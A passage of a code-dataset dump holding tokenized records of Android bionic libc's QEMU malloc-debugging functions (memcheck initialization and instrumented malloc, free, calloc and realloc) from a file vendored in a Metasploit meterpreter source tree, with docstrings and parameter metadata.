"PROT_READ",
"|",
"PROT_WRITE",
",",
"MAP_SHARED",
",",
"fd",
",",
"0",
")",
";",
"close",
"(",
"fd",
")",
";",
"if",
"(",
"qtrace",
"==",
"MAP_FAILED",
")",
"{",
"qtrace",
"=",
"NULL",
";",
"error_log",
"(",
"\"",
"\"",
")",
";",
"return",
"-1",
";",
"}",
"}",
"malloc_pid",
"=",
"getpid",
"(",
")",
";",
"return",
"0",
";",
"}"
] | Initializes malloc debugging instrumentation for the emulator. | [
"Initializes",
"malloc",
"debugging",
"instrumentation",
"for",
"the",
"emulator",
"."
] | [
"/* We will be using emulator's magic page to report memory allocation\n * activities. In essence, what magic page does, it translates writes to\n * the memory mapped spaces into writes to an I/O port that emulator\n * \"listens to\" on the other end. Note that until we open and map that\n * device, logging to emulator's stdout will not be available. */",
"/* Cache pid of the process this library has been initialized for. */"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | memcheck_initialize | int | int
memcheck_initialize(int alignment, const char* memcheck_param)
{
malloc_alignment = alignment;
/* Parse -memcheck parameter for the guest tracing flags. */
while (*memcheck_param != '\0') {
switch (*memcheck_param) {
case 'a':
// Enable all messages from the guest.
tracing_flags |= ALL_TRACING_ENABLED;
break;
case 'd':
// Enable debug messages from the guest.
tracing_flags |= DEBUG_TRACING_ENABLED;
break;
case 'e':
// Enable error messages from the guest.
tracing_flags |= ERROR_TRACING_ENABLED;
break;
case 'i':
// Enable info messages from the guest.
tracing_flags |= INFO_TRACING_ENABLED;
break;
default:
break;
}
if (tracing_flags == ALL_TRACING_ENABLED) {
break;
}
memcheck_param++;
}
notify_qemu_libc_initialized(malloc_pid);
debug_log("Instrumented for pid=%03u: malloc=%p, free=%p, calloc=%p, realloc=%p, memalign=%p",
malloc_pid, qemu_instrumented_malloc, qemu_instrumented_free,
qemu_instrumented_calloc, qemu_instrumented_realloc,
qemu_instrumented_memalign);
return 0;
} | /* Completes malloc debugging instrumentation for the emulator.
* Note that this routine is called after successful return from
* malloc_debug_initialize, which means that connection to the emulator via
* "magic page" has been established.
* Param:
* alignment - Alignment requirement set for memiry allocations.
* memcheck_param - Emulator's -memcheck option parameters. This string
* contains abbreviation for guest events that are enabled for tracing.
* Return:
* 0 on success, or -1 on failure.
*/ | Completes malloc debugging instrumentation for the emulator.
Note that this routine is called after successful return from
malloc_debug_initialize, which means that connection to the emulator via
"magic page" has been established.
Param:
alignment - Alignment requirement set for memiry allocations.
memcheck_param - Emulator's -memcheck option parameters. This string
contains abbreviation for guest events that are enabled for tracing.
Return:
0 on success, or -1 on failure. | [
"Completes",
"malloc",
"debugging",
"instrumentation",
"for",
"the",
"emulator",
".",
"Note",
"that",
"this",
"routine",
"is",
"called",
"after",
"successful",
"return",
"from",
"malloc_debug_initialize",
"which",
"means",
"that",
"connection",
"to",
"the",
"emulator",
"via",
"\"",
"magic",
"page",
"\"",
"has",
"been",
"established",
".",
"Param",
":",
"alignment",
"-",
"Alignment",
"requirement",
"set",
"for",
"memiry",
"allocations",
".",
"memcheck_param",
"-",
"Emulator",
"'",
"s",
"-",
"memcheck",
"option",
"parameters",
".",
"This",
"string",
"contains",
"abbreviation",
"for",
"guest",
"events",
"that",
"are",
"enabled",
"for",
"tracing",
".",
"Return",
":",
"0",
"on",
"success",
"or",
"-",
"1",
"on",
"failure",
"."
] | int
memcheck_initialize(int alignment, const char* memcheck_param)
{
malloc_alignment = alignment;
while (*memcheck_param != '\0') {
switch (*memcheck_param) {
case 'a':
tracing_flags |= ALL_TRACING_ENABLED;
break;
case 'd':
tracing_flags |= DEBUG_TRACING_ENABLED;
break;
case 'e':
tracing_flags |= ERROR_TRACING_ENABLED;
break;
case 'i':
tracing_flags |= INFO_TRACING_ENABLED;
break;
default:
break;
}
if (tracing_flags == ALL_TRACING_ENABLED) {
break;
}
memcheck_param++;
}
notify_qemu_libc_initialized(malloc_pid);
debug_log("Instrumented for pid=%03u: malloc=%p, free=%p, calloc=%p, realloc=%p, memalign=%p",
malloc_pid, qemu_instrumented_malloc, qemu_instrumented_free,
qemu_instrumented_calloc, qemu_instrumented_realloc,
qemu_instrumented_memalign);
return 0;
} | [
"int",
"memcheck_initialize",
"(",
"int",
"alignment",
",",
"const",
"char",
"*",
"memcheck_param",
")",
"{",
"malloc_alignment",
"=",
"alignment",
";",
"while",
"(",
"*",
"memcheck_param",
"!=",
"'",
"\\0",
"'",
")",
"{",
"switch",
"(",
"*",
"memcheck_param",
")",
"{",
"case",
"'",
"'",
":",
"tracing_flags",
"|=",
"ALL_TRACING_ENABLED",
";",
"break",
";",
"case",
"'",
"'",
":",
"tracing_flags",
"|=",
"DEBUG_TRACING_ENABLED",
";",
"break",
";",
"case",
"'",
"'",
":",
"tracing_flags",
"|=",
"ERROR_TRACING_ENABLED",
";",
"break",
";",
"case",
"'",
"'",
":",
"tracing_flags",
"|=",
"INFO_TRACING_ENABLED",
";",
"break",
";",
"default",
":",
"break",
";",
"}",
"if",
"(",
"tracing_flags",
"==",
"ALL_TRACING_ENABLED",
")",
"{",
"break",
";",
"}",
"memcheck_param",
"++",
";",
"}",
"notify_qemu_libc_initialized",
"(",
"malloc_pid",
")",
";",
"debug_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"qemu_instrumented_malloc",
",",
"qemu_instrumented_free",
",",
"qemu_instrumented_calloc",
",",
"qemu_instrumented_realloc",
",",
"qemu_instrumented_memalign",
")",
";",
"return",
"0",
";",
"}"
] | Completes malloc debugging instrumentation for the emulator. | [
"Completes",
"malloc",
"debugging",
"instrumentation",
"for",
"the",
"emulator",
"."
] | [
"/* Parse -memcheck parameter for the guest tracing flags. */",
"// Enable all messages from the guest.",
"// Enable debug messages from the guest.",
"// Enable error messages from the guest.",
"// Enable info messages from the guest."
] | [
{
"param": "alignment",
"type": "int"
},
{
"param": "memcheck_param",
"type": "char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "alignment",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "memcheck_param",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | qemu_instrumented_malloc | void | void*
qemu_instrumented_malloc(size_t bytes)
{
MallocDesc desc;
/* Initialize block descriptor and allocate memory. Note that dlmalloc
* returns a valid pointer on zero allocation. Lets mimic this behavior. */
desc.prefix_size = DEFAULT_PREFIX_SIZE;
desc.requested_bytes = bytes;
desc.suffix_size = DEFAULT_SUFFIX_SIZE;
desc.ptr = dlmalloc(mallocdesc_alloc_size(&desc));
if (desc.ptr == NULL) {
error_log("<libc_pid=%03u, pid=%03u> malloc(%u): dlmalloc(%u) failed.",
malloc_pid, getpid(), bytes, mallocdesc_alloc_size(&desc));
return NULL;
}
// Fire up event in the emulator.
if (notify_qemu_malloc(&desc)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: malloc: notify_malloc failed for ",
malloc_pid, getpid());
dlfree(desc.ptr);
return NULL;
} else {
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&desc);
#endif // TEST_ACCESS_VIOLATIONS
log_mdesc(info, &desc, "+++ <libc_pid=%03u, pid=%03u> malloc(%u) -> ",
malloc_pid, getpid(), bytes);
return mallocdesc_user_ptr(&desc);
}
} | /* This routine serves as entry point for 'malloc'.
* Primary responsibility of this routine is to allocate requested number of
* bytes (plus prefix, and suffix guards), and report allocation to the
* emulator.
*/ | This routine serves as entry point for 'malloc'.
Primary responsibility of this routine is to allocate requested number of
bytes (plus prefix, and suffix guards), and report allocation to the
emulator. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"malloc",
"'",
".",
"Primary",
"responsibility",
"of",
"this",
"routine",
"is",
"to",
"allocate",
"requested",
"number",
"of",
"bytes",
"(",
"plus",
"prefix",
"and",
"suffix",
"guards",
")",
"and",
"report",
"allocation",
"to",
"the",
"emulator",
"."
] | void*
qemu_instrumented_malloc(size_t bytes)
{
MallocDesc desc;
desc.prefix_size = DEFAULT_PREFIX_SIZE;
desc.requested_bytes = bytes;
desc.suffix_size = DEFAULT_SUFFIX_SIZE;
desc.ptr = dlmalloc(mallocdesc_alloc_size(&desc));
if (desc.ptr == NULL) {
error_log("<libc_pid=%03u, pid=%03u> malloc(%u): dlmalloc(%u) failed.",
malloc_pid, getpid(), bytes, mallocdesc_alloc_size(&desc));
return NULL;
}
if (notify_qemu_malloc(&desc)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: malloc: notify_malloc failed for ",
malloc_pid, getpid());
dlfree(desc.ptr);
return NULL;
} else {
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&desc);
#endif
log_mdesc(info, &desc, "+++ <libc_pid=%03u, pid=%03u> malloc(%u) -> ",
malloc_pid, getpid(), bytes);
return mallocdesc_user_ptr(&desc);
}
} | [
"void",
"*",
"qemu_instrumented_malloc",
"(",
"size_t",
"bytes",
")",
"{",
"MallocDesc",
"desc",
";",
"desc",
".",
"prefix_size",
"=",
"DEFAULT_PREFIX_SIZE",
";",
"desc",
".",
"requested_bytes",
"=",
"bytes",
";",
"desc",
".",
"suffix_size",
"=",
"DEFAULT_SUFFIX_SIZE",
";",
"desc",
".",
"ptr",
"=",
"dlmalloc",
"(",
"mallocdesc_alloc_size",
"(",
"&",
"desc",
")",
")",
";",
"if",
"(",
"desc",
".",
"ptr",
"==",
"NULL",
")",
"{",
"error_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"bytes",
",",
"mallocdesc_alloc_size",
"(",
"&",
"desc",
")",
")",
";",
"return",
"NULL",
";",
"}",
"if",
"(",
"notify_qemu_malloc",
"(",
"&",
"desc",
")",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
")",
";",
"dlfree",
"(",
"desc",
".",
"ptr",
")",
";",
"return",
"NULL",
";",
"}",
"else",
"{",
"#if",
"TEST_ACCESS_VIOLATIONS",
"\n",
"test_access_violation",
"(",
"&",
"desc",
")",
";",
"#endif",
"log_mdesc",
"(",
"info",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"bytes",
")",
";",
"return",
"mallocdesc_user_ptr",
"(",
"&",
"desc",
")",
";",
"}",
"}"
] | This routine serves as entry point for 'malloc'. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"malloc",
"'",
"."
] | [
"/* Initialize block descriptor and allocate memory. Note that dlmalloc\n * returns a valid pointer on zero allocation. Lets mimic this behavior. */",
"// Fire up event in the emulator.",
"// TEST_ACCESS_VIOLATIONS"
] | [
{
"param": "bytes",
"type": "size_t"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "bytes",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | qemu_instrumented_free | void | void
qemu_instrumented_free(void* mem)
{
MallocDesc desc;
if (mem == NULL) {
// Just let go NULL free
dlfree(mem);
return;
}
// Query emulator for the freeing block information.
if (query_qemu_malloc_info(mem, &desc, 1)) {
error_log("<libc_pid=%03u, pid=%03u>: free(%p) query_info failed.",
malloc_pid, getpid(), mem);
return;
}
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&desc);
#endif // TEST_ACCESS_VIOLATIONS
/* Make sure that pointer that's being freed matches what we expect
* for this memory block. Note that this violation should be already
* caught in the emulator. */
if (mem != mallocdesc_user_ptr(&desc)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: free(%p) is invalid for ",
malloc_pid, getpid(), mem);
return;
}
// Fire up event in the emulator and free block that was actually allocated.
if (notify_qemu_free(mem)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: free(%p) notify_free failed for ",
malloc_pid, getpid(), mem);
} else {
log_mdesc(info, &desc, "--- <libc_pid=%03u, pid=%03u> free(%p) -> ",
malloc_pid, getpid(), mem);
dlfree(desc.ptr);
}
} | /* This routine serves as entry point for 'malloc'.
* Primary responsibility of this routine is to free requested memory, and
* report free block to the emulator.
*/ | This routine serves as entry point for 'malloc'.
Primary responsibility of this routine is to free requested memory, and
report free block to the emulator. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"malloc",
"'",
".",
"Primary",
"responsibility",
"of",
"this",
"routine",
"is",
"to",
"free",
"requested",
"memory",
"and",
"report",
"free",
"block",
"to",
"the",
"emulator",
"."
] | void
qemu_instrumented_free(void* mem)
{
MallocDesc desc;
if (mem == NULL) {
dlfree(mem);
return;
}
if (query_qemu_malloc_info(mem, &desc, 1)) {
error_log("<libc_pid=%03u, pid=%03u>: free(%p) query_info failed.",
malloc_pid, getpid(), mem);
return;
}
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&desc);
#endif
if (mem != mallocdesc_user_ptr(&desc)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: free(%p) is invalid for ",
malloc_pid, getpid(), mem);
return;
}
if (notify_qemu_free(mem)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: free(%p) notify_free failed for ",
malloc_pid, getpid(), mem);
} else {
log_mdesc(info, &desc, "--- <libc_pid=%03u, pid=%03u> free(%p) -> ",
malloc_pid, getpid(), mem);
dlfree(desc.ptr);
}
} | [
"void",
"qemu_instrumented_free",
"(",
"void",
"*",
"mem",
")",
"{",
"MallocDesc",
"desc",
";",
"if",
"(",
"mem",
"==",
"NULL",
")",
"{",
"dlfree",
"(",
"mem",
")",
";",
"return",
";",
"}",
"if",
"(",
"query_qemu_malloc_info",
"(",
"mem",
",",
"&",
"desc",
",",
"1",
")",
")",
"{",
"error_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
")",
";",
"return",
";",
"}",
"#if",
"TEST_ACCESS_VIOLATIONS",
"\n",
"test_access_violation",
"(",
"&",
"desc",
")",
";",
"#endif",
"if",
"(",
"mem",
"!=",
"mallocdesc_user_ptr",
"(",
"&",
"desc",
")",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
")",
";",
"return",
";",
"}",
"if",
"(",
"notify_qemu_free",
"(",
"mem",
")",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
")",
";",
"}",
"else",
"{",
"log_mdesc",
"(",
"info",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"mem",
")",
";",
"dlfree",
"(",
"desc",
".",
"ptr",
")",
";",
"}",
"}"
] | This routine serves as entry point for 'malloc'. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"malloc",
"'",
"."
] | [
"// Just let go NULL free",
"// Query emulator for the freeing block information.",
"// TEST_ACCESS_VIOLATIONS",
"/* Make sure that pointer that's being freed matches what we expect\n * for this memory block. Note that this violation should be already\n * caught in the emulator. */",
"// Fire up event in the emulator and free block that was actually allocated."
] | [
{
"param": "mem",
"type": "void"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "mem",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | qemu_instrumented_calloc | void | void*
qemu_instrumented_calloc(size_t n_elements, size_t elem_size)
{
MallocDesc desc;
void* ret;
size_t total_size;
size_t total_elements;
if (n_elements == 0 || elem_size == 0) {
// Just let go zero bytes allocation.
info_log("::: <libc_pid=%03u, pid=%03u>: Zero calloc redir to malloc",
malloc_pid, getpid());
return qemu_instrumented_malloc(0);
}
/* Fail on overflow - just to be safe even though this code runs only
* within the debugging C library, not the production one */
if (n_elements && MAX_SIZE_T / n_elements < elem_size) {
return NULL;
}
/* Calculating prefix size. The trick here is to make sure that
* first element (returned to the caller) is properly aligned. */
if (DEFAULT_PREFIX_SIZE >= elem_size) {
/* If default alignment is bigger than element size, we will
* set our prefix size to the default alignment size. */
desc.prefix_size = DEFAULT_PREFIX_SIZE;
/* For the suffix we will use whatever bytes remain from the prefix
* allocation size, aligned to the size of an element, plus the usual
* default suffix size. */
desc.suffix_size = (DEFAULT_PREFIX_SIZE % elem_size) +
DEFAULT_SUFFIX_SIZE;
} else {
/* Make sure that prefix, and suffix sizes is at least elem_size,
* and first element returned to the caller is properly aligned. */
desc.prefix_size = elem_size + DEFAULT_PREFIX_SIZE - 1;
desc.prefix_size &= ~(malloc_alignment - 1);
desc.suffix_size = DEFAULT_SUFFIX_SIZE;
}
desc.requested_bytes = n_elements * elem_size;
total_size = desc.requested_bytes + desc.prefix_size + desc.suffix_size;
total_elements = total_size / elem_size;
total_size %= elem_size;
if (total_size != 0) {
// Add extra to the suffix area.
total_elements++;
desc.suffix_size += (elem_size - total_size);
}
desc.ptr = dlcalloc(total_elements, elem_size);
if (desc.ptr == NULL) {
error_log("<libc_pid=%03u, pid=%03u> calloc: dlcalloc(%u(%u), %u) (prx=%u, sfx=%u) failed.",
malloc_pid, getpid(), n_elements, total_elements, elem_size,
desc.prefix_size, desc.suffix_size);
return NULL;
}
if (notify_qemu_malloc(&desc)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: calloc(%u(%u), %u): notify_malloc failed for ",
malloc_pid, getpid(), n_elements, total_elements, elem_size);
dlfree(desc.ptr);
return NULL;
} else {
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&desc);
#endif // TEST_ACCESS_VIOLATIONS
log_mdesc(info, &desc, "### <libc_pid=%03u, pid=%03u> calloc(%u(%u), %u) -> ",
malloc_pid, getpid(), n_elements, total_elements, elem_size);
return mallocdesc_user_ptr(&desc);
}
} | /* This routine serves as entry point for 'calloc'.
* This routine behaves similarly to qemu_instrumented_malloc.
*/ | This routine serves as entry point for 'calloc'.
This routine behaves similarly to qemu_instrumented_malloc. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"calloc",
"'",
".",
"This",
"routine",
"behaves",
"similarly",
"to",
"qemu_instrumented_malloc",
"."
] | void*
qemu_instrumented_calloc(size_t n_elements, size_t elem_size)
{
MallocDesc desc;
void* ret;
size_t total_size;
size_t total_elements;
if (n_elements == 0 || elem_size == 0) {
info_log("::: <libc_pid=%03u, pid=%03u>: Zero calloc redir to malloc",
malloc_pid, getpid());
return qemu_instrumented_malloc(0);
}
if (n_elements && MAX_SIZE_T / n_elements < elem_size) {
return NULL;
}
if (DEFAULT_PREFIX_SIZE >= elem_size) {
desc.prefix_size = DEFAULT_PREFIX_SIZE;
desc.suffix_size = (DEFAULT_PREFIX_SIZE % elem_size) +
DEFAULT_SUFFIX_SIZE;
} else {
desc.prefix_size = elem_size + DEFAULT_PREFIX_SIZE - 1;
desc.prefix_size &= ~(malloc_alignment - 1);
desc.suffix_size = DEFAULT_SUFFIX_SIZE;
}
desc.requested_bytes = n_elements * elem_size;
total_size = desc.requested_bytes + desc.prefix_size + desc.suffix_size;
total_elements = total_size / elem_size;
total_size %= elem_size;
if (total_size != 0) {
total_elements++;
desc.suffix_size += (elem_size - total_size);
}
desc.ptr = dlcalloc(total_elements, elem_size);
if (desc.ptr == NULL) {
error_log("<libc_pid=%03u, pid=%03u> calloc: dlcalloc(%u(%u), %u) (prx=%u, sfx=%u) failed.",
malloc_pid, getpid(), n_elements, total_elements, elem_size,
desc.prefix_size, desc.suffix_size);
return NULL;
}
if (notify_qemu_malloc(&desc)) {
log_mdesc(error, &desc, "<libc_pid=%03u, pid=%03u>: calloc(%u(%u), %u): notify_malloc failed for ",
malloc_pid, getpid(), n_elements, total_elements, elem_size);
dlfree(desc.ptr);
return NULL;
} else {
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&desc);
#endif
log_mdesc(info, &desc, "### <libc_pid=%03u, pid=%03u> calloc(%u(%u), %u) -> ",
malloc_pid, getpid(), n_elements, total_elements, elem_size);
return mallocdesc_user_ptr(&desc);
}
} | [
"void",
"*",
"qemu_instrumented_calloc",
"(",
"size_t",
"n_elements",
",",
"size_t",
"elem_size",
")",
"{",
"MallocDesc",
"desc",
";",
"void",
"*",
"ret",
";",
"size_t",
"total_size",
";",
"size_t",
"total_elements",
";",
"if",
"(",
"n_elements",
"==",
"0",
"||",
"elem_size",
"==",
"0",
")",
"{",
"info_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
")",
";",
"return",
"qemu_instrumented_malloc",
"(",
"0",
")",
";",
"}",
"if",
"(",
"n_elements",
"&&",
"MAX_SIZE_T",
"/",
"n_elements",
"<",
"elem_size",
")",
"{",
"return",
"NULL",
";",
"}",
"if",
"(",
"DEFAULT_PREFIX_SIZE",
">=",
"elem_size",
")",
"{",
"desc",
".",
"prefix_size",
"=",
"DEFAULT_PREFIX_SIZE",
";",
"desc",
".",
"suffix_size",
"=",
"(",
"DEFAULT_PREFIX_SIZE",
"%",
"elem_size",
")",
"+",
"DEFAULT_SUFFIX_SIZE",
";",
"}",
"else",
"{",
"desc",
".",
"prefix_size",
"=",
"elem_size",
"+",
"DEFAULT_PREFIX_SIZE",
"-",
"1",
";",
"desc",
".",
"prefix_size",
"&=",
"~",
"(",
"malloc_alignment",
"-",
"1",
")",
";",
"desc",
".",
"suffix_size",
"=",
"DEFAULT_SUFFIX_SIZE",
";",
"}",
"desc",
".",
"requested_bytes",
"=",
"n_elements",
"*",
"elem_size",
";",
"total_size",
"=",
"desc",
".",
"requested_bytes",
"+",
"desc",
".",
"prefix_size",
"+",
"desc",
".",
"suffix_size",
";",
"total_elements",
"=",
"total_size",
"/",
"elem_size",
";",
"total_size",
"%=",
"elem_size",
";",
"if",
"(",
"total_size",
"!=",
"0",
")",
"{",
"total_elements",
"++",
";",
"desc",
".",
"suffix_size",
"+=",
"(",
"elem_size",
"-",
"total_size",
")",
";",
"}",
"desc",
".",
"ptr",
"=",
"dlcalloc",
"(",
"total_elements",
",",
"elem_size",
")",
";",
"if",
"(",
"desc",
".",
"ptr",
"==",
"NULL",
")",
"{",
"error_log",
"(",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"n_elements",
",",
"total_elements",
",",
"elem_size",
",",
"desc",
".",
"prefix_size",
",",
"desc",
".",
"suffix_size",
")",
";",
"return",
"NULL",
";",
"}",
"if",
"(",
"notify_qemu_malloc",
"(",
"&",
"desc",
")",
")",
"{",
"log_mdesc",
"(",
"error",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"n_elements",
",",
"total_elements",
",",
"elem_size",
")",
";",
"dlfree",
"(",
"desc",
".",
"ptr",
")",
";",
"return",
"NULL",
";",
"}",
"else",
"{",
"#if",
"TEST_ACCESS_VIOLATIONS",
"\n",
"test_access_violation",
"(",
"&",
"desc",
")",
";",
"#endif",
"log_mdesc",
"(",
"info",
",",
"&",
"desc",
",",
"\"",
"\"",
",",
"malloc_pid",
",",
"getpid",
"(",
")",
",",
"n_elements",
",",
"total_elements",
",",
"elem_size",
")",
";",
"return",
"mallocdesc_user_ptr",
"(",
"&",
"desc",
")",
";",
"}",
"}"
] | This routine serves as entry point for 'calloc'. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"calloc",
"'",
"."
] | [
"// Just let go zero bytes allocation.",
"/* Fail on overflow - just to be safe even though this code runs only\n * within the debugging C library, not the production one */",
"/* Calculating prefix size. The trick here is to make sure that\n * first element (returned to the caller) is properly aligned. */",
"/* If default alignment is bigger than element size, we will\n * set our prefix size to the default alignment size. */",
"/* For the suffix we will use whatever bytes remain from the prefix\n * allocation size, aligned to the size of an element, plus the usual\n * default suffix size. */",
"/* Make sure that prefix, and suffix sizes is at least elem_size,\n * and first element returned to the caller is properly aligned. */",
"// Add extra to the suffix area.",
"// TEST_ACCESS_VIOLATIONS"
] | [
{
"param": "n_elements",
"type": "size_t"
},
{
"param": "elem_size",
"type": "size_t"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "n_elements",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "elem_size",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
4b694e9f7afc4c72599e64048f5c38d344d57224 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_qemu.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | qemu_instrumented_realloc | void | void*
qemu_instrumented_realloc(void* mem, size_t bytes)
{
MallocDesc new_desc;
MallocDesc cur_desc;
size_t to_copy;
void* ret;
if (mem == NULL) {
// Nothing to realloc. just do regular malloc.
info_log("::: <libc_pid=%03u, pid=%03u>: realloc(%p, %u) redir to malloc",
malloc_pid, getpid(), mem, bytes);
return qemu_instrumented_malloc(bytes);
}
if (bytes == 0) {
// This is a "free" condition.
info_log("::: <libc_pid=%03u, pid=%03u>: realloc(%p, %u) redir to free and malloc",
malloc_pid, getpid(), mem, bytes);
qemu_instrumented_free(mem);
// This is what dlrealloc does for a "free" realloc.
return NULL;
}
// Query emulator for the reallocating block information.
if (query_qemu_malloc_info(mem, &cur_desc, 2)) {
// Note that this violation should be already caught in the emulator.
error_log("<libc_pid=%03u, pid=%03u>: realloc(%p, %u) query_info failed.",
malloc_pid, getpid(), mem, bytes);
return NULL;
}
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&cur_desc);
#endif // TEST_ACCESS_VIOLATIONS
/* Make sure that reallocating pointer value is what we would expect
* for this memory block. Note that this violation should be already caught
* in the emulator.*/
if (mem != mallocdesc_user_ptr(&cur_desc)) {
log_mdesc(error, &cur_desc, "<libc_pid=%03u, pid=%03u>: realloc(%p, %u) is invalid for ",
malloc_pid, getpid(), mem, bytes);
return NULL;
}
/* TODO: We're a bit inefficient here, always allocating new block from
* the heap. If this realloc shrinks current buffer, we can just do the
* shrinking "in place", adjusting suffix_size in the allocation descriptor
* for this block that is stored in the emulator. */
// Initialize descriptor for the new block.
new_desc.prefix_size = DEFAULT_PREFIX_SIZE;
new_desc.requested_bytes = bytes;
new_desc.suffix_size = DEFAULT_SUFFIX_SIZE;
new_desc.ptr = dlmalloc(mallocdesc_alloc_size(&new_desc));
if (new_desc.ptr == NULL) {
log_mdesc(error, &cur_desc, "<libc_pid=%03u, pid=%03u>: realloc(%p, %u): dlmalloc(%u) failed on ",
malloc_pid, getpid(), mem, bytes,
mallocdesc_alloc_size(&new_desc));
return NULL;
}
ret = mallocdesc_user_ptr(&new_desc);
// Copy user data from old block to the new one.
to_copy = bytes < cur_desc.requested_bytes ? bytes :
cur_desc.requested_bytes;
if (to_copy != 0) {
memcpy(ret, mallocdesc_user_ptr(&cur_desc), to_copy);
}
// Register new block with emulator.
if(notify_qemu_malloc(&new_desc)) {
log_mdesc(error, &new_desc, "<libc_pid=%03u, pid=%03u>: realloc(%p, %u) notify_malloc failed -> ",
malloc_pid, getpid(), mem, bytes);
log_mdesc(error, &cur_desc, " <- ");
dlfree(new_desc.ptr);
return NULL;
}
#if TEST_ACCESS_VIOLATIONS
test_access_violation(&new_desc);
#endif // TEST_ACCESS_VIOLATIONS
// Free old block.
if (notify_qemu_free(mem)) {
log_mdesc(error, &cur_desc, "<libc_pid=%03u, pid=%03u>: realloc(%p, %u): notify_free failed for ",
malloc_pid, getpid(), mem, bytes);
/* Since we registered new decriptor with the emulator, we need
* to unregister it before freeing newly allocated block. */
notify_qemu_free(mallocdesc_user_ptr(&new_desc));
dlfree(new_desc.ptr);
return NULL;
}
dlfree(cur_desc.ptr);
log_mdesc(info, &new_desc, "=== <libc_pid=%03u, pid=%03u>: realloc(%p, %u) -> ",
malloc_pid, getpid(), mem, bytes);
log_mdesc(info, &cur_desc, " <- ");
return ret;
} | /* This routine serves as entry point for 'realloc'.
* This routine behaves similarly to qemu_instrumented_free +
* qemu_instrumented_malloc. Note that this modifies behavior of "shrinking" an
* allocation, but overall it doesn't seem to matter, as caller of realloc
* should not expect that pointer returned after shrinking will remain the same.
*/ | This routine serves as entry point for 'realloc'.
This routine behaves similarly to qemu_instrumented_free +
qemu_instrumented_malloc. Note that this modifies behavior of "shrinking" an
allocation, but overall it doesn't seem to matter, as caller of realloc
should not expect that pointer returned after shrinking will remain the same. | [
"This",
"routine",
"serves",
"as",
"entry",
"point",
"for",
"'",
"realloc",
"'",
".",
"This",
"routine",
"behaves",
"similarly",
"to",
"qemu_instrumented_free",
"+",
"qemu_instrumented_malloc",
".",
"Note",
"that",
"this",
"modifies",
"behavior",
"of",
"\"",
